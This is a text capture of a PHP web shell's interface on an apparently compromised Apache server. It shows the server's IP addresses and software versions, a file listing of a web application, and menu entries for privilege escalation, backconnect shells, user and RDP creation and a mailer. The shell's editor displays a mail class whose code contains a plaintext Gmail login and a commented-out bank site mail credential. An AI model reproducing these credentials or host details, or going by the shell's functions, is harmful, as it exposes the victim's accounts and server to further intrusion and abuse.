Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.117.93.183
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cnv /
bnu /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
system
[ DIR ]
drwxr-xr-x
auto-complete.php
4.89
KB
-rwxr-xr-x
backup_restore.php
9.12
KB
-rwxr-xr-x
backupandrestore.php
10.18
KB
-rwxr-xr-x
cappcontext.php
3.19
KB
-rwxr-xr-x
cmailer_new.php
3.48
KB
-rwxr-xr-x
coutput.php
1.75
KB
-rwxr-xr-x
coutput_24042018.php
1.75
KB
-rwxr-xr-x
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
514
B
-rwxr-xr-x
cuser.php
3.41
KB
-rwxr-xr-x
customappcontext.php
2.35
KB
-rwxr-xr-x
db_sync.php
7.54
KB
-rwxr-xr-x
display_custom_html.php
8.47
KB
-rwxr-xr-x
display_details_in_grid.php
71.04
KB
-rwxr-xr-x
display_details_in_grid_custom...
2.67
KB
-rwxr-xr-x
forgot_password.php
3.76
KB
-rwxr-xr-x
format.php
6.75
KB
-rwxr-xr-x
getnumword.php
6.19
KB
-rwxr-xr-x
header.php
306
B
-rwxr-xr-x
jsmin.php
10.69
KB
-rwxr-xr-x
json.php
33.22
KB
-rwxr-xr-x
login.php
6.76
KB
-rwxr-xr-x
mregistry.php
2.96
KB
-rwxr-xr-x
sendLoginPassword.php
3.11
KB
-rwxr-xr-x
send_mail.php
2.88
KB
-rwxr-xr-x
system_utility.php
4.71
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cmailer_new.php
<?php $main_src_obj=(explode("/",$_SERVER["REQUEST_URI"])); $main_src=$_SERVER["DOCUMENT_ROOT"]."/".$main_src_obj[1]; $main_src=(dirname($_SERVER[SCRIPT_FILENAME])); require_once $main_src.'/Swift4/lib/swift_required.php'; class CMailer { function __construct($aarr_mailer_info) { ini_set("memory_limit",-1); ini_set('max_execution_time', 1400); $this->marr_mailer_info = $aarr_mailer_info; $this->transport = Swift_SmtpTransport::newInstance('smtp.gmail.com222222', 465, "ssl")->setUsername('sstarkasoft@gmail.com')->setPassword('tarka123'); //$this->transport = Swift_SmtpTransport::newInstance('mail.sreecharanbank.com', 587)->setUsername('website@sreecharanbank.com')->setPassword('website'); $this->mailer = Swift_Mailer::newInstance($this->transport); } public function send_mail() { $larr_mandatory_fields = array( 'subject', 'body', 'from' , 'to' ); foreach ($larr_mandatory_fields as $key => $value) { if (!array_key_exists($value, $this->marr_mailer_info)) { throw new Exception('Required mailer information not present / need to pass proper format'); } } # Checking if atleast one value is passed for 'to' address if( !is_array($this->marr_mailer_info['to']) || count($this->marr_mailer_info['to']) < 1 ) { throw new Exception('The TO address is invalid / need to pass proper format'); } # Checking if 'from' address is passed correctly if( !is_array($this->marr_mailer_info['from']) || count($this->marr_mailer_info['from']) != 2 ) { throw new Exception('The FROM address is invalid / need to pass proper format'); } $this->subject = $this->marr_mailer_info['subject']; $this->body = $this->marr_mailer_info['body']; $this->from = $this->marr_mailer_info['from']; $this->to = $this->GetEmailIdsArr($this->marr_mailer_info['to']); $this->cc = $this->GetEmailIdsArr($this->marr_mailer_info['cc']); $this->bcc = $this->GetEmailIdsArr($this->marr_mailer_info['bcc']); $this->mobj_swift_addr = Swift_Message::newInstance($this->marr_mailer_info['subject']); # Setting To address(es) of the mail $this->mobj_swift_addr->setTo($this->to); $this->mobj_swift_addr->setcc($this->cc); $this->mobj_swift_addr->setbcc($this->bcc); $this->mobj_swift_addr->setFrom(array( $this->from['email'] => $this->from['name'])); $this->mobj_swift_addr ->setBody($this->body, 'text/html'); ; if(is_array($this->marr_mailer_info['attachments'])) { foreach($this->marr_mailer_info['attachments'] as $key => $value) { $this->mobj_swift_addr->attach(Swift_Attachment::fromPath($value['file_source'])); } } $result = $this->mailer->send($this->mobj_swift_addr); return $result; } function GetEmailIdsArr($arr) { $data_array=array(); if(empty($arr)) return $data_array; foreach($arr as $key => $value) { array_push($data_array,$value['email']); } return $data_array; } } ?>
Close